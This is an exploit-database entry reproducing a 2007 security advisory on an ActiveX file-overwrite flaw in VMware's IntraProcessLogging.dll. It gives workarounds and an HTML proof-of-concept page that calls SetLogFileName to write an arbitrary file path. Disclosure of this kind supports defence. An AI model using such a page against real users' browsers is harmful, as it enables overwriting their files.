VMware IntraProcessLogging.dll 5.5.3.42958 Arbitrary Data Write Exploit

2007-07-28T00:00:00
ID 1337DAY-ID-8996
Type zdt
Reporter callAX
Modified 2007-07-28T00:00:00

Description

Exploit for unknown platform in category remote exploits

                                        
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VMware IntraProcessLogging.dll 5.5.3.42958 Arbitrary Data Write Exploit
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<!--
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:. GOODFELLAS Security Research TEAM  .:
:. http://goodfellas.shellcode.com.ar .:

IntraProcessLogging.dll 5.5.3.42958 VmWare Inc Arbitrary Data Write Exploit
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Internal ID: VULWAR200707280.
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Introduction
------------
IntraProcessLogging.dll is a library included in the Program Vmware from
Vmware Inc. Company.


Tested In
---------
- Windows XP SP1/SP2 french/english with IE 6.0 / 7.0.


Summary
-------
The SetLogFileName method doesn't check if it's being called from the
application,
or malicious users. Remote Attacker could craft a html page and overwrite
arbitrary
files in a system.


Impact
------
Any computer that uses this Sofware will be exposed to Data Write Arbitrary.


Workaround
----------
- Activate the Kill bit zero in clsid:AF13B07E-28A1-4CAC-9C9A-EC582E354A24
- Unregister IntraProcessLogging.dll using regsvr32.


Timeline
--------
July 28 2007 -- Bug Discovery.
July 28 2007 -- Exploit published.


Credits
-------
 * callAX <[email protected]>
 * GoodFellas Security Research Team  <goodfellas.shellcode.com.ar>


Technical Details
-----------------

SetLogFileName method receives one argument filename in this format
"c:\path\file".


Proof of Concept
---------------->

<HTML>
<BODY>
 <object id=ctrl classid="clsid:{AF13B07E-28A1-4CAC-9C9A-EC582E354A24}"></object>

<SCRIPT>

function Do_it()
 {
   File = "c:\\arbitrary_file.txt"
   ctrl.SetLogFileName(File)
 }

</SCRIPT>
<input language=JavaScript onclick=Do_it() type=button value="Proof of
Concept">
</BODY>
</HTML>



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